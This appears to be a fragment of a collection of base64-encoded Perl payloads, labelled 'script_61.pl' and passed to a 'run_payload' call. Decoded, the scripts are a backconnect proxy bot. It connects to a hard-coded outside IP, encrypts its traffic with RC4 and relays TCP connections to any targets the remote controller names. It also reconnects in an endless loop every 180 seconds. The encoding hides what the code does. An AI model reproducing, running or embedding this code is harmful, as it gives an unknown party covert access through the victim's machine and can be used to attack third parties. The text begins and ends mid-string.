4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_61.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjAzJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XS